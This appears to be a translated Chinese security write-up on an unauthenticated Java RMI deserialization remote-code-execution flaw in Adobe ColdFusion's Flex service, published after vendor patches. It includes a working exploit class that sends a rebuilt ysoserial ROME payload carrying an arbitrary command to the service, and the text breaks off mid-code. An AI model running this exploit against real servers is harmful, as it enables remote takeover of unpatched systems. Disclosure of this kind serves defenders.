ADOBE ColdFusion Java RMI 反序列化 RCE 漏洞详情(CVE-2018-493
2017年10月我发布了一个Java RMI/反序列化漏洞的概述和PoC视频,该漏洞影响了AdobeColdFusion的Flex集成服务。我推迟发布所有细节和利用方法,因为发现了一个额外的可用于修复服务器的payload。
Adobe现在已经发布了进一步的安全更新,可以点击链接了解更多详细信息。
RMI和java.lang.Object
Java远程方法调用(RMI)协议几乎是100% Java序列化。当从RMI注册表服务请求一个对象并在该对象上调用方法时,通过网络传输的数据采用Java序列化格式。ColdFusion的Flex集成RMI服务公开了以下类的一个对象:
coldfusion.flex.rmi.DataServicesCFProxy
这个类可以在ColdFusion Installation目录中的“libs/cfusion.jar”文件中找到,如下所示:
package coldfusion.flex.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.util.Map;
public abstract interface DataServicesCFProxy extends Remote
{
public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException;
public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException;
public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolean, Map paramMap) throws RemoteException;
}
这些方法中的每一个都可以用任何Java对象作为参数来调用。请注意,诸如List和Map之类的容器可以包含任何Java对象。与此RMI服务交互不需要身份验证,因此任何可以通过网络访问该服务的人都可以向该服务提供任意Java对象,以试图利用Java反序列化攻击(例如,通过ysoserial payload作为参数)。
不幸的是,没有一个ysoserial payload起作用。
在我上一篇关于ColdFusion CVE-2017-11283和CVE-2017-11284的文章中谈到了我是如何修改了一个payload来成功利用这个入口并使用Mozilla Rhino JavaScript库获得远程命令执行的。在本例中使用技术和入口保持不变,但是我们针对的是与ColdFusion捆绑在一起的ROME库(请参见“libs/rome-cf.jar”)。
利用-简单的方法
下面是一个简单的RMI客户端程序,它从RMI注册表服务中检索ColdFusion DataServicesCFProxy对象,然后使用NULL参数调用RemoteCount()方法:
package nb.barmie.demo;
import coldfusion.flex.rmi.DataServicesCFProxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class CFRMIDemo {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
obj.count(null, null, null);
}
}
count()方法的第二个参数是java.lang.Object数组,这意味着我们可以在该参数中提供任意对象,它们将在服务器上反序列化。我们可以在运行时使用索引库来生成任意的payload对象,并将其传递给count()方法,但是,索引库的payload与ColdFusion捆绑在一起的ROME版本是不兼容的。如果我们尝试这样做,服务器将显示服务端类与通过网络发送的序列化对象不兼容。这是因为serialVersionUID字段不匹配,类似于我之前描述的针对Mozilla Rhino的攻击。
在2018年4月更新之前,利用ColdFusionRMI服务的最简单方法是重新构建ysoserial。与其针对ROME 1.0(Maven依赖项)构建ysoserial,不如在ColdFusion Installation目录中的“libs/rome-cf.jar”上构建它。这样就可以使用以下代码生成和注入payload了:
package nb.barmie.exploit.standalone;
import coldfusion.flex.rmi.DataServicesCFProxy;
import ysoserial.payloads.ROME;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class CFRMIExploit {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
obj.count(null, new Object[] {
new ROME().getObject(args[2])
}, null);
}
}
使用以下参数运行:host, port, command。
利用-BaRMIe!
在RMI安全性方面做了大量工作之后,我选择在我的RMI枚举和攻击工具BaRMIe中实现一个漏洞。这是一个更复杂的利用,但也更强大。我将在不久的将来发布这个版本的漏洞,但现在我将为对它感兴趣的人解释它是如何工作的!
RMI背景知识
远程方法调用涉及两个网络服务和两个不同的网络连接。第一个网络服务是RMI注册服务,通常位于TCP端口1099,它本质上是一个目录服务,其中Java对象引用绑定到名称。下面代码的第4行连接到10.0.0.30:1099上的RMI注册表服务,并请求引用绑定到名称“foo”的对象:
public class RMIList {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
SomeClass obj = (SomeClass)reg.lookup("Foo");